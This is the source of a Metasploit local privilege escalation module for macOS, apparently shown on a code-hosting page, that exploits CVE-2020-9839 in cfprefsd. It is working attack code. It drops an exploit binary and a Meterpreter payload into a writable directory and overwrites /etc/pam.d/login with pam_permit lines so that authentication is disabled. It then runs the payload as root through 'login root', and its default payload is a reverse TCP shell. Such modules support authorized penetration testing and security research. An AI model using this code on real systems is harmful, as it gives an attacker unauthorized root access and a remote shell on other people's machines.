CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking
8

9
  prepend Msf::Exploit::Remote::AutoCheck
10
  include Msf::Post::File
11
  include Msf::Post::OSX::Priv
12
  include Msf::Post::OSX::System
13
  include Msf::Exploit::EXE
14
  include Msf::Exploit::FileDropper
15

16
  def initialize(info = {})
17
    super(
18
      update_info(
19
        info,
20
        'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',
21
        'Description' => %q{
22
          This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
23
          order to run a payload as root. The CFPreferencesSetAppValue function, which is
24
          reachable from most unsandboxed processes, can be exploited with a race condition
25
          in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
26
          a user can then login as root with the `login root` command without a password.
27
        },
28
        'License' => MSF_LICENSE,
29
        'Author' => [
30
          'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
31
          'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
32
          'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
33
          'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
34
          'timwr' # metasploit integration
35
        ],
36
        'References' => [
37
          ['CVE', '2020-9839'],
38
          ['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
39
        ],
40
        'Platform' => 'osx',
41
        'Arch' => ARCH_X64,
42
        'DefaultTarget' => 0,
43
        'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
44
        'Targets' => [
45
          [ 'Mac OS X x64 (Native Payload)', {} ],
46
        ],
47
        'DisclosureDate' => '2020-03-18',
48
        'Notes' => {
49
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
50
          'Reliability' => [REPEATABLE_SESSION],
51
          'Stability' => [CRASH_SAFE]
52
        },
53
        'Compat' => {
54
          'Meterpreter' => {
55
            'Commands' => %w[
56
              stdapi_sys_process_execute
57
            ]
58
          }
59
        }
60
      )
61
    )
62
    register_advanced_options [
63
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
64
    ]
65
  end
66

67
  # rubocop:disable Style/ClassVars
68
  @@target_file = '/etc/pam.d/login'
69
  @@original_content = %q{# login: auth account password session
70
auth       optional       pam_krb5.so use_kcminit
71
auth       optional       pam_ntlm.so try_first_pass
72
auth       optional       pam_mount.so try_first_pass
73
auth       required       pam_opendirectory.so try_first_pass
74
account    required       pam_nologin.so
75
account    required       pam_opendirectory.so
76
password   required       pam_opendirectory.so
77
session    required       pam_launchd.so
78
session    required       pam_uwtmp.so
79
session    optional       pam_mount.so
80
}
81
  @@replacement_content = %q{# login: auth account password session
82
auth       optional       pam_permit.so
83
auth       optional       pam_permit.so
84
auth       optional       pam_permit.so
85
auth       required       pam_permit.so
86
account    required       pam_permit.so
87
account    required       pam_permit.so
88
password   required       pam_permit.so
89
session    required       pam_permit.so
90
session    required       pam_permit.so
91
session    optional       pam_permit.so
92
}
93
  # rubocop:enable Style/ClassVars
94

95
  def check
96
    version = Rex::Version.new(get_system_version)
97
    if version > Rex::Version.new('10.15.4')
98
      CheckCode::Safe
99
    elsif version < Rex::Version.new('10.15')
100
      CheckCode::Safe
101
    else
102
      CheckCode::Appears
103
    end
104
  end
105

106
  def exploit
107
    if is_root?
108
      fail_with Failure::BadConfig, 'Session already has root privileges'
109
    end
110

111
    unless writable? datastore['WritableDir']
112
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
113
    end
114

115
    payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
116
    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
117
    upload_and_chmodx payload_file, binary_payload
118
    register_file_for_cleanup payload_file
119

120
    current_content = read_file(@@target_file)
121
    @restore_content = current_content
122

123
    if current_content == @@replacement_content
124
      print_warning("The contents of #{@@target_file} was already replaced")
125
    elsif current_content != @@original_content
126
      print_warning("The contents of #{@@target_file} did not match the expected contents")
127
      @restore_content = nil
128
    end
129

130
    exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
131
    exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'
132
    upload_and_chmodx exploit_file, exploit_exe
133
    register_file_for_cleanup exploit_file
134

135
    exploit_cmd = "#{exploit_file} #{@@target_file}"
136
    print_status("Executing exploit '#{exploit_cmd}'")
137
    result = cmd_exec(exploit_cmd)
138
    print_status("Exploit result:\n#{result}")
139
    unless write_file(@@target_file, @@replacement_content)
140
      print_error("#{@@target_file} could not be written")
141
    end
142

143
    login_cmd = "echo '#{payload_file} & disown' | login root"
144
    print_status("Running cmd:\n#{login_cmd}")
145
    result = cmd_exec(login_cmd)
146
    unless result.blank?
147
      print_status("Command output:\n#{result}")
148
    end
149
  end
150

151
  def new_session_cmd(session, cmd)
152
    if session.type.eql? 'meterpreter'
153
      session.sys.process.execute '/bin/bash', "-c '#{cmd}'"
154
    else
155
      session.shell_command_token cmd
156
    end
157
  end
158

159
  def on_new_session(session)
160
    return super unless @restore_content
161

162
    if write_file(@@target_file, @restore_content)
163
      new_session_cmd(session, "chgrp wheel #{@@target_file}")
164
      new_session_cmd(session, "chown root #{@@target_file}")
165
      new_session_cmd(session, "chmod 644 #{@@target_file}")
166
      print_good("#{@@target_file} was restored")
167
    else
168
      print_error("#{@@target_file} could not be restored!")
169
    end
170
    super
171
  end
172

173
end
174

175